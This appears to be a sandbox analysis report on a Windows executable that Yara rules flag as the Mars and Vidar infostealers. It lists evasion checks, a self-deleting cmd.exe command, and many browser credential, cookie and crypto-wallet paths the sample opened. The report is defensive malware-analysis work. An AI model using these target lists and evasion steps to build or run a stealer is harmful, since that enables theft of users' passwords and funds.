Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0040B3A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040B3A0

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_6092A5DC sqlite3_os_init,GetSystemInfo,

0_2_6092A5DC

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Uin5FyPXbS.exe, 00000000.00000002.1658429191.000000000FD82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0-
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.0000000000767000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.0000000000767000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.0000000000736000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: Uin5FyPXbS.exe, 00000000.00000002.1658429191.000000000FD82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\k\8p

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

API call chain: ExitProcess graph end node

graph_0-52863

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_60920C91 rdtsc

0_2_60920C91

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_004054F0 VirtualProtect ?,00000004,00000100,00000000

0_2_004054F0

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

0_2_00409220

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0043C04C mov eax, dword ptr fs:[00000030h]	0_2_0043C04C
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00415E60 mov eax, dword ptr fs:[00000030h]	0_2_00415E60
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0043C0B2 mov eax, dword ptr fs:[00000030h]	0_2_0043C0B2

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_00406040 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00406040

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\Uin5FyPXbS.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5			Jump to behavior

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,

0_2_0040CF60

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_0040CE40 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_0040CE40

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_0040CE00 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_0040CE00

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_0040CEA0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_0040CEA0

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_004084E0 GetVersionExA,LoadLibraryA,WideCharToMultiByte,lstrlen,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,FreeLibrary,

0_2_004084E0

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: Uin5FyPXbS.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Uin5FyPXbS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Uin5FyPXbS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1651174979.000000000043C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1607822276.000000000043C000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.Uin5FyPXbS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Uin5FyPXbS.exe PID: 6728, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\data.safe.bin	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\a5d6ec76-765c-4778-afd2-1e05a1554d8e	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829702.cde8135c-88c3-4c34-8670-7ef017742548.new-profile.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\background-update	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834620.c7889da7-33f0-4599-8452-58d47c58437b.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829744.7278f154-e8f4-4235-84c5-c5c1c6af0084.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\7d12ac42-15c3-4db9-abfe-259bc8d249ac	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\1435a377-bbaf-4c9c-8706-0811a779fa3f	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\808127e8-e7ed-4078-b3f3-7f09061a011f	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\15f01145-7764-450b-9ad5-323693350a9c	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857833.45e26519-596d-41a5-b290-e547b44111fd.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857860.a73949a2-5a70-4025-8008-88156c16bb4a.event.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\a7174184-f177-48c4-876a-8a51c2ed8fbc	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829737.9f7a5e7a-2be0-4ff7-b132-b1f6e59a8e58.event.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857860.81ddb4cc-1d49-45f2-961f-e24ea6db2be5.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834608.65054280-9d54-477d-a3ea-afcb1f88e001.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\events	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\12f997af-c065-4562-b9f6-11000bb95c9b	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\05d02ac8-b2f1-4670-8541-db8ec2bbf427	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834580.6fc53411-ad83-4cf6-a5f6-905f0f3f52e8.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\1d5599c8-3f43-42cc-8163-9a43c60a06d1	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857869.95af30ae-acac-4802-b983-233d7fd3cf34.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\3a40aaf9-3f8b-43a2-85e8-88e3ffc7666f	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\78267ebf-1fb3-4b11-82e9-903e54a2a54e	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\277ffbb3-8e94-4f3f-acac-7a401d130160	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829746.67aa4432-87f8-463e-b422-f6679add9971.first-shutdown.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834606.011115ff-9301-40fc-805e-ba07b7fdfce4.event.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Uin5FyPXbS.exe PID: 6728, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: Uin5FyPXbS.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Uin5FyPXbS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Uin5FyPXbS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1651174979.000000000043C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1607822276.000000000043C000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.Uin5FyPXbS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Uin5FyPXbS.exe PID: 6728, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6090C1D6 sqlite3_clear_bindings,	0_2_6090C1D6
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_609254B1 sqlite3_bind_zeroblob,	0_2_609254B1
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6090F435 sqlite3_bind_parameter_index,	0_2_6090F435
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_609255D4 sqlite3_bind_text16,	0_2_609255D4
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_609255FF sqlite3_bind_text,	0_2_609255FF
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60925686 sqlite3_bind_int64,	0_2_60925686
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_609256E5 sqlite3_bind_int,	0_2_609256E5
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6092562A sqlite3_bind_blob,	0_2_6092562A
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60925655 sqlite3_bind_null,	0_2_60925655
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6092570B sqlite3_bind_double,	0_2_6092570B
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60925778 sqlite3_bind_value,	0_2_60925778
